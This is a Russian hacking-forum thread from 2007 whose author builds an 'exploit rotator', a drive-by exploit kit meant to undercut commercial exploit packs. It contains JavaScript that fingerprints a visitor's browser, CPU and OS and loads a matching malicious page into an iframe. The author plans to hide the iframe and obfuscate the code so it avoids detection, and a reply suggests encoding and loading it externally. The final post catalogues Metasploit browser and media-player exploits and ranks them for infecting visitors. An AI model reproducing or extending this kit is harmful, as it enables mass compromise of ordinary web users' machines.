Статьи Делаем простой ротатор эксплоитов (или Metasploit Framework часть 6)

Discussion in 'Статьи' started by -=lebed=-, 2 Apr 2007.

  1. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Ротатор эксплоитов (или Metasploit Framework часть 6)


    Предисловие.​

    Статья расщитана не на новичков, а на тех кто уже знаком с пакетом разработки эксплоитов на практике. Остальным рекомендую почитать первые части. Заинтересованным рекомендую ознакомиться с официальным мануалом релиза 3.0 (вышел 27 марта 2007 года), перевод которого осуществил n0ne и выложил у себя на сайте Почитать пользовательский мануал по MSF 3.0, за что ему огромный респект!
    Что такое Ротатор? Ну наверно многие слышали, видели объявления, "продаю связку эсплоитов, пробив столько-то процентов, цена 1000$". Ну вот, например. Что же это за зверь? Опишу своими словами. Связка сплоитов - набор эксплоитов, которые эксплуатируют те или иные уязвимости в приложениях, сервисах и т. п. Причём по определённому алгоритму, ну типа не пробил один сплоит, пробуем следующий... и т.д. Вообщем, я подумал, что ввиду большого количества паблик эксплоитов для браузеров (в основной массе IE) пора написать простенький ротатор по типу той интелектуальной связки эксплоитов, и доводить его до ума, совершенствуя алгоритм ротации. Возьмём многие идеи автора, запостившего объявление о продаже своей связки на вооружение и попробуем сэкономить 500$-1000$. (Ведь сплоиты то есть в паблике! - за что платить? За двиг ротатора? За скрипты сбора статистики пробива браузеров? Попробуем всё сделать своими руками, и так с...

    1. Подготовка.​

    а). Определимся с типом жертвы: Жертва у нас будет популярные браузеры IE - в первую очередь (как самый дырявый браузер), в меньшей степени Opera и FireFox (имеющих мало паблик уязвимостей).
    б). Нам потребуется:
    - ПО Metasploit Framework 3.0 (релиз) скачать можно тут: http://metasploit.com/
    - Минимальные знания html и javascript;
    - Все три популярных браузера (для тестирования);
    - Редактор html c подсветкой синтаксиса (пойдёт и визуальный).
    - Прямые руки и светлая голова.

    2. Типа начинаем кодить.​

    Определяемся с алгоритмом ротации и языком на котором будем писать:
    - Ну во первых откажемся от PHP и Perl, так как возможность их использования, как правило отсутствует на бесплатных хостингах, а вешать ротатор в iframe мы будем именно на них. А так же ввиду того, что мы не ахти какие кодеры на PHP и Perl (не обладаем достаточными знаниями). Поэтому остаётся javascript, исполняемый в браузере клиента. И так алгоритм:
    - Определяем тип нашего клиента (тип браузера) юзверя посетившего нашу страничку. Сделаем это с помощью javascript, велосипед изобретать не будем, а возьмём готовый код, например отсюда: http://www.xakep.ru/magazine/xa/080/048/2.asp
    Code:
    <script language="javascript">
    document.write ("You are using: " + navigator.appName)
    document.write ("CPU type: " + navigator.cpuClass)
    document.write ("Screen Resolution: " + screen.width + "x" + screen.height)
    document.write ("Available Screen Resolution: " + screen.availWidth + "x" + screen.availHeight)
    document.write ("Screen Color Depth: " + screen.colorDepth)
    today = new Date()
    document.writeln("Date & time on your computer and time zone is: " + today)
    document.writeln("Date & time in your locale format: " + today.toLocaleString())
    </script>
    
    Здесь для нас важная 1 строка, она определяет тип браузера. Оставим то, что нам нужно и проверим, как присваивается переменной brouser значение (Тип браузера), а переменной cpu - тип CPU
    Code:
    <script language="javascript">
    brouser=navigator.appName
    cpu=navigator.cpuClass
    document.write ("You are using: " + brouser)
    document.write ("CPU type: " + cpu)
    </script>
    
    Проверили - всё ок.
    - Хорошо бы достать версию OC, не уверен что это можно сделать с помощью javascript поэтому придётся лезть в документацию или Гугл. Я полез в Гугл (в javascript я чайник, так что не бейте сильно) 5 секунд и ответ найден: Можно определить и ОС, ниже приведён код функции определения версии ОС на javascript:
    Code:
    <SCRIPT language=JavaScript>
     function test_os() {
      if ((navigator.userAgent.indexOf ('Win') != -1) &&
        (navigator.userAgent.indexOf('98') != -1))
        { var OpSys = "Windows 98"; }
      else if((navigator.userAgent.indexOf('Win') != -1) &&
        (navigator.userAgent.indexOf('95') != -1))
        { var OpSys = "Windows 95"; }
      else if(navigator.appVersion.indexOf("16") !=-1)
       { var OpSys = "Windows 3.1"; }
      else if (navigator.appVersion.indexOf ("NT") !=-1)
       { var OpSys= "Windows NT"; } 
      else if (navigator.appVersion.indexOf ("Linux") !=-1)
       { var OpSys = "Linux"; } 
      else if (navigator.userAgent.indexOf ('Mac') != -1)
       { var OpSys = "Macintosh"; }
      else { var OpSys = "other"; }
       return OpSys;
     }
    </SCRIPT>
    
    Потом в теле вызываем эту функцию:
    Code:
    <BODY>
    <SCRIPT language=JavaScript>
     var OpSys = test_os();
     document.write("Вы используете ОС: " + OpSys);
    </SCRIPT>
    </BODY>
    
    Ну что же, неплохо, на входе нашего будущего Ротатора (а он будет на яваскрипт javascript) мы имеем три переменные: brouser, cpu, OpSys (тип броузера, тип цп, тип OC). В зависимости от этих значений и будем проводить ротацию эксплоитов. Если со значением переменной OpSys всё ясно (видно из кода), то посмотрим какие значения может принимать переменная brouser, для этого зайдём попеременно тремя популярными браузерами. И так Опера - brouser="Opera", IE - brouser="Microsoft Internet Explorer", FireFox - brouser="Netscape". То есть в зависимости от типа браузера мы будем использовать разные наборы сплоитов. И так у нас появились три ветви. Реализуем это на javascript, чтоб в Iframe выводилась нужная страница. Обзовём их по значению переменной brouser: Microsoft Internet Explorer.html, Opera.html, Netscape.html
    За основу возьмём код, любезно предоставленный _Nikolas_ для ротации сайтов в iframe и подправим его немного под себя. Будем использовать, его как точку опоры. Кстати он после небольшой переделки подойдёт для автоматической ротации вредоносных страниц, содержащих эксплоиты.
    Code:
    <html>
      <head>
        <title></title>
        <script type="text/javascript">
          var sites = new Array();
          var currentSite = 0;
          //тут добавляешь скока хошь сайтов
          sites[0] = "http://mail.ru";
          sites[1] = "http://ya.ru";
          sites[2] = "http://google.com";
          function changeSite() {
            document.getElementById( "ifrm" ).src = sites[currentSite];
            currentSite++;
            if ( currentSite >= sites.length ) {
              currentSite = 0;
            }
          }
          setInterval( "changeSite()", 5000 );
        </script>
      </head>
      <body onload="changeSite()">
        <iframe id="ifrm" src="ya.ru"/>
      </body>
    </html>
    
    Я исправил для начала так:
    Code:
    <html>
      <head>
        <title></title>
        <script type="text/javascript">
          var sites = new Array();
          var currentPage = 0;
          //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
          sites[0] = "Opera.html";
          sites[1] = "Microsoft Internet Explorer.html";
          sites[2] = "Netscape.html";
          function changePage() {
            document.getElementById( "ifrm" ).src = sites[currentPage];
            currentPage++;
            if ( currentPage >= sites.length ) {
              currentPage = 0;
            }
          }
          setInterval( "changePage()", 500 );
        </script>
      </head>
      <body onload="changePage()">
        <iframe id="ifrm" src="Microsoft Internet Explorer.html"/>
      </body>
    </html>
    
    Сделаем пока 3 пустые страницы с одной надписью (имя браузера), для вывода в iframe и и обзовём их по типу браузеров:
    Например: страница Netscape.html, содержимое:
    Code:
     <html>
    <head>
    <meta http-equiv="Content-Language" content="ru">
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>FireFox</title>
    </head>
    <body>
    <p align="left"><font size="6">FireFox</font></p>
    <p>Тут будет ротация эксплоитов для Mozilla FireFox</p>
    </body>
    </html>
    
    Проверяем, всё работает, в iframe меняются переодически наши (пока ещё не вредоносные странички. Но Ротация тут нам не нужна, а нужен выбор только одной страницы, в зависимости от значения переменной brouser.
    Поэтому просто исправляем код под наши нужды:
    Code:
        <script type="text/javascript">
          var sites = new Array();
          var currentPage = nomer();
          //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
          sites[0] = "Microsoft Internet Explorer.html";
          sites[1] = "Opera.html";
          sites[2] = "Netscape.html";
          function changePage() {
            document.getElementById( "ifrm" ).src = sites[currentPage];
         }
        </script>
    
    Осталось написать функцию nomer() - она будет возвращать число от 0 до 2, в зависимости от типа браузера, вот её код:
    Code:
    <SCRIPT language=JavaScript>
    function nomer() {
     var nomer="0"
      if (brouser==="Microsoft Internet Explorer")
        { nomer="0"; }
      else if (brouser==="Opera")
        { nomer="1"; }
        else if (brouser==="Netscape")
        { nomer="2"; }  
     return (nomer);
     }
    </SCRIPT>
    
    И так собираем всё вместе:
    Code:
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>Ротатор Эксплоитов</title>
    </head>
    <SCRIPT language=JavaScript>
    <!-- определяем значения переменных -->
    brouser=navigator.appName
    cpu=navigator.cpuClass
     
     
    <!-- функция определения ОС --> 
    function test_os() {
      if ((navigator.userAgent.indexOf ('Win') != -1) &&
        (navigator.userAgent.indexOf('98') != -1))
        { var OpSys = "Windows 98"; }
      else if((navigator.userAgent.indexOf('Win') != -1) &&
        (navigator.userAgent.indexOf('95') != -1))
        { var OpSys = "Windows 95"; }
      else if(navigator.appVersion.indexOf("16") !=-1)
       { var OpSys = "Windows 3.1"; }
      else if (navigator.appVersion.indexOf ("NT") !=-1)
       { var OpSys= "Windows NT"; } 
      else if (navigator.appVersion.indexOf ("Linux") !=-1)
       { var OpSys = "Linux"; } 
      else if (navigator.userAgent.indexOf ('Mac') != -1)
       { var OpSys = "Macintosh"; }
      else { var OpSys = "other"; }
       return OpSys;
     }
    
    
    <!-- выводим на экран для контроля -->
    document.write ("  CPU type: " + cpu + "  Операционная система : " + test_os())
    
    
    <!-- функция номер IE=0, Opera=2, FireFox=3 -->
    function nomer() {
     var nomer="0"
      if (brouser==="Microsoft Internet Explorer")
        { nomer="0"; }
      else if (brouser==="Opera")
        { nomer="1"; }
        else if (brouser==="Netscape")
        { nomer="2"; }  
     return (nomer);
     }
    
    <!-- выводим на экран для контроля имя браузера и присвоенные ему код-->
    document.write(",  Вы используете браузер:  " + brouser + ", его код=" + nomer());
    
    <!-- выбираем нужную страницу в iframe по коду-->
          var sites = new Array();
          var currentPage = nomer();
          //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
          sites[0] = "Microsoft Internet Explorer.html";
          sites[1] = "Opera.html";
          sites[2] = "Netscape.html";
          function changePage() {
            document.getElementById( "ifrm" ).src = sites[currentPage];
         }
        </script>
    <body onload="changePage()">
        <iframe id="ifrm" src=""/>
      </body>
    </html>
    
    
    Вот так, нихрена не соображая в javascript, мы написали корявый но рабочий код (заготовку) нашего будущего ротатора.
    Конечно мы потом уберём весь вывод на экран, сделаем фрейм невидимым (нулевого размера) и попробуем закодировать html, чтоб явно не палился...
    А также используем полученные глобальные переменные (OpSys, cpu) и для определения оптимального алгоритма ротации страниц с эксплоитами, чтоб сразу не свалить браузер в даун, а попытаться исполнить начинку (полезный груз, шеллкод) сначала более надёжными сплоитами (работающими в большинстве случаев).

    P.S. Статья не окончена - будет продолжение.
    Принимаю замечания и исправления, а так же ваши варианты оптимизированного кода на Javascript и html
     
    #1 -=lebed=-, 2 Apr 2007
    Last edited: 3 Apr 2007
  2. flipper

    flipper Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    131
    Likes Received:
    85
    Reputations:
    29
    Ну в качестве образовательного примера вполне сойдет и ява, только код желательно закодировать и подцеплять отдельно <sript src=...>, так менее палевно чем пихать в исходники страницы...
     
    1 person likes this.
  3. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    И так, вчера мы немного определились с алгоритмом, однако забыли про переменную CPU (которая принимает значения - архитектура процессора). Поэтому первое ветвление должно быть именно в зависимости от её значения. По сути нам надо написать функцию EXPLOIT(CPU,brouser,OS) на выходе которой мы получим соответствующую страницу с ротацией эксплоитов для конкретного клиента. Поэтому немного перепишем наш код с учётом этого, а также для более легкого последующего апдейта нашего ротатора эксплоитов. Для начала определимся с диапазоном значений переменных:
    CPU=[0,1]я думаю для популярных архитектур хватит двух вариантов (x86 и PowerPC). brouser=[0,1,2,3,4,5,6,7] для типов броузеров наверно 8 вариантов достаточно.(под broyser отвели 3 бита) OS=[0,1,2,3,4,5,7,6,7,8,9,10,11,12,13,14,15] - типы операционной системы, имхо 16 возможных вариантов хватит. Не будем парится с трёхмерными массивами, а приведём входящие переменные к одной rotation=128*CPU+16*brouser+OS, таким образом входящая переменная rotation будет принимать значения [0-255] и её размерность составит 1 байт (я не имею ввиду фактическую длину). То есть, так скажем, интелектуальность нашего ротатора составит 256 возможных интелектуальных наборов эксплоитов (ситуаций). (в нашем случае 256 компроментирующих браузер страниц). Перепишем наш код с учётом выше приведённого алгоритма. Ещё модернизируем функцию test_brouser(p), так, чтоб по вхдящему параметру p=2 выдавала нам версию браузера (пригодится для алгоритма ротации).
    Code:
    <html>
    
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>Ротатор Эксплоитов</title>
    </head>
    <SCRIPT language=JavaScript>
    
    <!-- функция определения архитектуры (перенная name_cpu - Название, code_cpu - Присвоенный код, зависимости от параметра выдаёт name_cpu или code_cpu) -->
     
     function test_cpu(p) {
     var name_cpu=navigator.cpuClass
      if (name_cpu==="x86")
        { var code_cpu=0; }
      else
        { var code_cpu=0; }
      if (p===0) 
        {return code_cpu;}
        else {return name_cpu;}
     }
     
    <!-- Функция определения бруазера (перенная name_brouser - Название, code_brouser - Присвоенный код, ver_brouser - версия браузера, в зависимости от параметра выдаёт name_brouser, code_brouser или ver_brouser) -->
    function test_brouser(p) {
     var name_brouser=navigator.appName
     var ver_brouser=navigator.appVersion
     var code_brouser=0
      if (name_brouser==="Microsoft Internet Explorer")
        { code_brouser=0; }
      else if (name_brouser==="Opera")
         { code_brouser=1; }
        else if (name_brouser==="Netscape")
         { code_brouser=2; }
      if (p===0) 
        {return code_brouser;}
        else if (p===1)
        {return name_brouser;}
        else
        {return ver_brouser;}
     }
     
     
    <!-- функция определения ОС (переменная  name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) --> 
    function test_os(p) {
      if ((navigator.userAgent.indexOf ('Win') != -1) &&
        (navigator.userAgent.indexOf('98') != -1))
        { var name_os = "Windows 98"; var code_os=2;}
      else if((navigator.userAgent.indexOf('Win') != -1) &&
        (navigator.userAgent.indexOf('95') != -1))
        { var name_os = "Windows 95"; var code_os=1;}
      else if(navigator.appVersion.indexOf("16") !=-1)
       { var name_os = "Windows 3.1"; var code_os=0;}
      else if (navigator.appVersion.indexOf ("NT") !=-1)
       { var name_os= "Windows NT"; var code_os=3;} 
      else if (navigator.appVersion.indexOf ("Linux") !=-1)
       { var name_os = "Linux"; var code_os=4;} 
      else if (navigator.userAgent.indexOf ('Mac') != -1)
       { var name_os = "Macintosh"; var code_os=5;}
      else if (navigator.appVersion==="5.0 (Windows; ru)")
    	{ var name_os = "Windows"; var code_os=3;} 
      else { var name_os = "other"; var code_os=6;}
      if (p===0) 
        {return code_os;}
        else {return name_os;}
     
     }
    
    
    <!-- вычисляем код ситуации (входящая переменная rotation) для фунуции EXPLOIT()--> 
    var rotation;
    rotation=128*test_cpu(0)+16*test_brouser(0)+test_os(0);
    
    <!-- выводим на экран для контроля -->
    document.write ("  CPU type: " + test_cpu(1) + ", Код CPU=" + test_cpu(0) + ", Браузер:" + test_brouser(1) + ", Версия:" + test_brouser(2) + ", Код браузера=" + test_brouser(0) + ",  Операционная система : " + test_os(1)+",  Код операционки=" + test_os(0) + ", Код ситуации (переменная rotation)=" + rotation)
    
    
    <!-- выбираем нужную страницу в iframe по коду rotation-->
          var sites = new Array();
          var currentPage = rotation;
          //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
          sites[0] = "rotor0.html";
          sites[1] = "rotor1.html";
          sites[2] = "rotor2.html";
          sites[3] = "rotor3.html";
          sites[4] = "rotor4.html";
          sites[5] = "rotor5.html";
          sites[6] = "rotor6.html";
          sites[7] = "rotor7.html";
          sites[8] = "rotor8.html";
          sites[9] = "rotor9.html";
          sites[10] = "rotor10.html";
          sites[11] = "rotor11.html";
    <!-- тут всего 128 компроментирующих браузер страниц будет -->
          function changePage() {
            document.getElementById( "ifrm" ).src = sites[currentPage];
         }
        </script>
    <body onload="changePage()">
        <iframe id="ifrm" src=""/>
      </body>
    </html>
    
    
    Тестим код в трёх браузеров, как видим в Опере и FireFox переменная name_cpu имеет значение "undefined", т.е. неопределена. Забъём пока на другие архитектуры и оставим только x86 (MAC-пользователей оставим за бортом), подправим код функции test_cpu() - пусть выдаёт "0" в любом случае, то есть x86. Так же видим, что возникли проблемы в Браузере Mozzila FireFox - наш скрипт не определил операционную систему win2003 (значение other), что тоже не радует, может есть смысл парсить navigator.appVersion и доставать версию ОC от туда?
    ... продолжение скоро.

    P.S. У кого есть хороший javascript для определения Операционной системы, работающий во всех браузерах, прошу выложить тут.

    UP:
    Ну раз нет, придётся дорабатывать тот что есть. Ошибается только Mozzila FireFox немного изменим функцию определения ОС:
    Code:
    <!-- функция определения ОС (переменная  name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) --> 
    function test_os(p) {
      if ((navigator.userAgent.indexOf ('Win') != -1) &&
        (navigator.userAgent.indexOf('98') != -1))
        { var name_os = "Windows 98"; var code_os=2;}
      else if((navigator.userAgent.indexOf('Win') != -1) &&
        (navigator.userAgent.indexOf('95') != -1))
        { var name_os = "Windows 95"; var code_os=1;}
      else if(navigator.appVersion.indexOf("16") !=-1)
       { var name_os = "Windows 3.1"; var code_os=0;}
      else if (navigator.appVersion.indexOf ("NT") !=-1)
       { var name_os= "Windows NT"; var code_os=3;} 
      else if (navigator.appVersion.indexOf ("Linux") !=-1)
       { var name_os = "Linux"; var code_os=4;} 
      else if (navigator.userAgent.indexOf ('Mac') != -1)
       { var name_os = "Macintosh"; var code_os=5;}
    [COLOR=Yellow]  else if (navigator.appVersion==="5.0 (Windows; ru)")
    	{ var name_os = "Windows"; var code_os=3;} [/COLOR]
      else { var name_os = "other"; var code_os=6;}
      if (p===0) 
        {return code_os;}
        else {return name_os;}
     
     }
     
    Добаваил для FireFox, чтоб правильно определял OC

    Кстать, вот код с javascript, который выводит всю инфу в красивую формочку:
    Code:
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN//3.2">
    
    <HTML>
    <HEAD>
    <TITLE>User Information - What does your browser say about you ?</TITLE>
    </HEAD>
    <FORM NAME="form1">
    <TABLE BORDER="10" BORDERCOLOR="blue">
    <TR>
    	<TD BGCOLOR="aqua">Browser Name</TD>
    	<TD><INPUT TYPE="INPUT" NAME="bn" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
    </TR>
    <TR>
    	<TD BGCOLOR="aqua">Browser Version</TD>
    	<TD><INPUT TYPE="INPUT" NAME="bv" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
    </TR>
    
    <TR>
    	<TD BGCOLOR="aqua">Width</TD>
    	<TD><INPUT TYPE="INPUT" NAME="w" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
    </TR>
    <TR>
    	<TD BGCOLOR="aqua">Height</TD>
    	<TD><INPUT TYPE="INPUT" NAME="h" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
    </TR>
    <TR>
    	<TD BGCOLOR="aqua">Colour Depth</TD>
    	<TD><INPUT TYPE="INPUT" NAME="cd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
    </TR>
    <TR>
    	<TD BGCOLOR="aqua">Pixel Depth</TD>
    	<TD><INPUT TYPE="INPUT" NAME="pd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
    </TR>
    <TR>
    	<TD BGCOLOR="aqua">Referring document</TD>
    	<TD><INPUT TYPE="INPUT" NAME="rd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
    </TR>
    
    </TABLE>
    </FORM>
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    document.form1.bn.value = navigator.appName
    document.form1.bv.value = navigator.appVersion
    document.form1.w.value = screen.width
    document.form1.h.value = screen.height
    document.form1.cd.value = screen.colorDepth
    document.form1.pd.value = screen.pixelDepth
    document.form1.rd.value = document.referrer
    // -->
    </SCRIPT>
    
    <CENTER><HR>
    </CENTER>
    
    </HTML>
    
    Может, кому пригодится...
    P.S. Код "Заготовки Ротатора" обновлён (в этом сообщении) с учётом последних изменений...
    Ладно, вообщем с "функицей" EXPLOIT(rotation) мы будем считать частично справились. Никто не мешает нам улучшать её потом. Теперь можно переходить собственно к компроментирующим страницам, которые у нас будут выводится в IFRAME.
    ... продолжение следует...
     
    #3 -=lebed=-, 3 Apr 2007
    Last edited: 3 Apr 2007
    2 people like this.
  4. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Вот нашёл старенькую статью Algola по схожей теме, кому интересно можете почитать: http://old.antichat.ru/activex/
     
    #4 -=lebed=-, 3 Apr 2007
    Last edited: 3 Apr 2007
  5. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    3. Отбор эксплоитов.

    3. Отбор эксплоитов.

    Запускаем пакет MSF 3.0 (релиз). Идём в Web-интерфейс, запускаем консоль (она у нас прямо в web-странице).
    Смотрим какие есть эксплоиты.
    Отберём для windows/browser/:
    Так же посмотрим, какие были сплоиты в Интеллектуальной связке "eCore Exploit Pack v1.2" предлагаемой на продажу Max`ом. Ведь мы не хотим пропустить какой-нибудь паблик сплоит из его связки, чем мы хуже?
    Будем анализировать сплоиты, смотреть по каждому инфу (достаточно нудная и долгая работа):
    - В основном для Microsoft Internet Explorer хотя и не только:
    сплоиты на переполнение имеют меньшую надёжность и могут убить браузер, поэтому они будут последними в адгоритме ротации. Посмотрев инфу по каждому сплоиту, я отобрал следующие (Инфа в таком виде: ---название MSF---Название аналога в связке"eCore Exploit Pack v1.2"---Описание---Цель---Код ситуации---":
    0. windows/browser/ani_loadimage_chunksize - (аналог: Windows .ani File Parsing Buffer Overflow). 0day сплоит (нет в релизе, есть в обновлении MSF 3.0, на данный момент ещё не рабочий). Сплоит эксплуатирует уязвимость переполнение буфера в LoadAniIcon () функции библиотеки UER32.dll. Баг вызван через браузер Интернет Эксплорер (6 и 7), использущий директиву загрузки стиля КУРСОРА злонамеренного .ANI файла. Internet Explorer будет ловить любые исключения, которые происходят, в то время как неправильный курсор загружен, эксплоит будет терпеть неудачу, если выбрана неправильная цель. Этот модуль будет обновлен в ближайшем будущем, чтобы исполнить fingerprinting на стороне клиента и брутфорс (грубая сила). Эта уязвимость была обнаруженна Александром Сотировым Determina и была открыта вновь, McAfee. Цели:
    Как видим, уязвимы все NT системы, даже Vista сборки 6.0.6000.16386. Очень актуальный сплоит на ближайшее время. Код ситуации 3.
    1. windows/browser/ms06_001_wmf_setabortproc - (аналог: WMF [модифицированный]). Сплоит никогда не роняет броузер IE, так как использует уязвимость не в нём, а в системной библиотеке. В общем сам сплоит и начинка содержатся в скачиваемом автоматически файле-картинке. Цель: "Windows XP/2003/Vista Automatic" - удобен тем, что пробивает все версии виндов <=Windows-XP-SP2 (не пропатченные естественно). Код ситуации, переменная rotation=3
    2. windows/browser/ms06_057_webview_setslice - (аналог: WebViewFolderIcon (setSlice) Buffer Overflow Exploit). Cплоит эксплуатирует уязвимость в WebViewFolderIcon ActiveX control, включённый в Windows 2000, Windows XP, and Windows 2003. И так цель: "Windows XP SP0-SP2 / IE 6.0SP1 English" Неплохой сплоит, правда вешает IE. Код ситуации, переменная rotation=3
    3. windows/browser/ms06_055_vml_method - (аналог: VML Remote Buffer Overflow Exploit). Cплоит экспуатирует уязвимость в Microsoft Internet Explorer используя переполнение буфера in the VML коде процесса (VGX.dll). Протестирован на Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. Цель: "Windows NT 4.0 -> Windows 2003 SP1" Код ситуации, переменная rotation=3
    4. windows/browser/ie_createobject - (аналог: Mdac (RDS, MS06-014) [модифицированный, невидимый]). Cплоит экспуатирует уязвимость in Internet Explorer, нарушая режим эксплуатации уязвимых объектов ActiveX. Обратим внимание на цели:
    Как видим список уязвимых объектов внушителен. Код ситуации, переменная rotation=3.
    5. windows/browser/ms03_020_ie_objecttype - (аналог: отсутсвует). Старенький сплоит, эксплуатирует уязвимость в Internet Explorer, возникающую при обработке атрибута ТИП ОБЪЕКТА. Цель: "Windows NT/XP/2003 Automatic". Код ситуации, переменная rotation=3
    6. windows/browser/winamp_playlist_unc - (аналог: отсутствует). Сплоит эксплуатирует уязвимость в Winamp- универсальном проигрывателе. Это возможно, когда аудио путь к файлу, внутри плейлиста, состоит из UNC-пути с длинным именем. Сплоит поставляет плейлист через браузер. Проверен на Winamp 5.11 и 5.12. В общем может повести, если жертва пользуется стареньким винамоп, подсунув ему специальный плейлист, можно получить полный контроль над машиной. Цель Winamp <= 5.12. Код ситуации 3, 19, 25 (актуально для всех браузеров).
    7. windows/browser/realplayer_smil - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в RealNetworks RealPlayer 10 и 8. Созданый URL связывается со злонамеренным SMIL файлом, удалённый нападавший может переполнить буфер и выполнить произвольный код. Когда пользуютесь этот модулем, убедитесь, что установили URIPATH с расширением '.smil'. Этот модуль был проверен с RealPlayer 10 сборки 6.0.12.883 и RealPlayer 8 сборки 6.0.9.584. В общем может повезти, если жертва пользуется уязвимым RealPlayer`ом, подсунув ему специальный файлик с расширение '.smil'. В случае удачи - получаем контроль над машиной. Цель "дырявые RealPlayer 8,10". Код ситуации 3, 19, 25 (актуально для всех браузеров).
    8. windows/browser/xmplay_asx - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в XMPlay 3.3.0.4. Уязвимость вызвана из-за граничной ошибки в пределах синтаксического анализа из playlists содержащего чрезмерно длинное имя файла. Сплоит использует ASX формат файла. В общем ситуауия, аналогичная дыре в WinAmp. Цели: "Windows 2000 Pro English SP4, Windows XP Pro SP2 English". Код ситуации, переменная rotation=3
    9. windows/browser/ms06_013_createtextrange - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Microsoft Internet Explorer. И IE6 и IE7 (2 Beta) уязвимы. Это будет повреждёние памяти, в некотором смысле, которое, при некоторых обстоятельствах, может привести к неправильному/испорченному указателю таблицы. EIP укажет к очень отдаленному, несуществующему местоположению памяти. Этот сплоит - результат объединения трех различных представлений эксплуатации и надежно проверен против Windows XP SP2. Эта уязвимость была независимо найдена многими сторонами. Метод разбрызгивания динамической памяти, используемый этим сплоитом, найден изначально Skylined`ом.. В общем, на практике этот сплоит при эксплуатации начнинает пожирать память (до 1 Гб.) Так как памяти может нехватить - используется файл подкачки и из-за этого скорость его работы довольно медленная, кроме того может просто уронить IE. Цель: "Microsoft Internet Explorer. И IE6 и IE7 (2 Beta)". Код ситуации 3.
    10. windows/browser/ie_iscomponentinstalled - (аналог: отсутствует). Тоже старенький сплоит, эксплуатирует переполнение стека в Internet Explorer. Эта ошибка{дефект} была исправлена в Windows 2000 SP4 и Windows XP SP1. Т. е. их он не пробивает. цель "Непатченная Windows XP SP0 with Internet Explorer 6.0" - не густо :-(. Код ситуации 3
    11. windows/browser/mcafee_mcsubmgr_vsprintfСплоит эксплуатирует ошибку в McAfee Подписаном Менеджере элемента управления ActiveX. Из-за опасного использования vsprintf, возможно вызвать переполнение стека, передав большую строку к одной из COM-подпрограмм, такой как IsAppExpired. Эта уязвимость была обнаруженна Карлом Линн`ом. В общем, может повезти в том случае, если этот ActiveX элемент установлен. Цель: "Windows XP SP0/SP1". Код ситуации 3
    12. windows/browser/mirc_irc_url - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в mIRC 6.1. Предоставляя чрезмерно длинный и специально обработанный URL к 'irc' протоколу, атакующий может перезаписать буфер и перехватить управление в выполняемой прогамме. В общем, если стоит этот клиент - Ирка 6.1, то может повезти. Цель: "Windows 2000 Pro English All, Windows XP Pro SP0/SP1 English с установленно Иркой 6.1". Код ситуации 3.
    13.windows/browser/aim_goaway - (аналог: отсутствует). Сплоит эксплуатирует недостаток в обработке AOL Instant Messenger'ом 'goaway' в обработчике URI. Атакующий может выполнить произвольный код, предоставив чрезмерно большой буфер, как параметр сообщения. Этот баг, как известно, затрагивает AOL Instant Messenger 5.5. Цель: "Windows NT/2000/XP/2003 Automatic". Код ситуации 3
    14.windows/browser/apple_itunes_playlist- (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в Apple ITunes 4.7 сборки 4.7.0.42. Созданый URL линк связывается со злонамеренным PLS-файлом и удаленный атакующий может переполнить буфер и выполнить произвольный код. Когда используете этот модуль, убедитесь, что установили переменную URIPATH с расширением '.pls '. И снова переполнение в проигрывателе, анологично WinApm. В общем повезёт, если установлен бажный Apple ITunes 4.7. Цель: "Windows 2000 Pro English SP4, Windows XP Pro English SP2". Код ситуации 3.
    15.windows/browser/apple_quicktime_rtsp- (аналог: отсутствует). Сплоит эксплуатирует переполнение буфера в Apple QuickTime 7.1.3. Этот модуль был вдохновлен MOAB-01-01-2007. В общем может повезти, если установлен Apple QuickTime 7.1.3. Цель: "Apple QuickTime Player 7.1.3". Код ситуации наверно 3, хотя может и не только. (не знаю уязвима ли программа под MAC).

    Проанализируем для Mozilla FireFox:
    1.multi/browser/firefox_queryinterface - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Firefox браузер. Чтобы надежно эксплуатировать эту уязвимость, мы нуждаемся в заполнинии почти гигабайта памяти инстукцией nop и начинкой. Это модуль был проверен на OS X 10.3 с готовым Firefox 1.5.0 package. Цель: "Firefox 1.5.0.0 Mac OS X, Firefox 1.5.0.0 Linux". Код ситуации (позже посчитаю).
    2.multi/browser/mozilla_compareto - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Suite, Mozilla Firefox, и приложения Mozilla Thunderbird. Этот модуль контролирует порт Aviv Raff's HTML PoC. Цель: "Firefox < 1.0.5 Windows". Код ситуации 35.
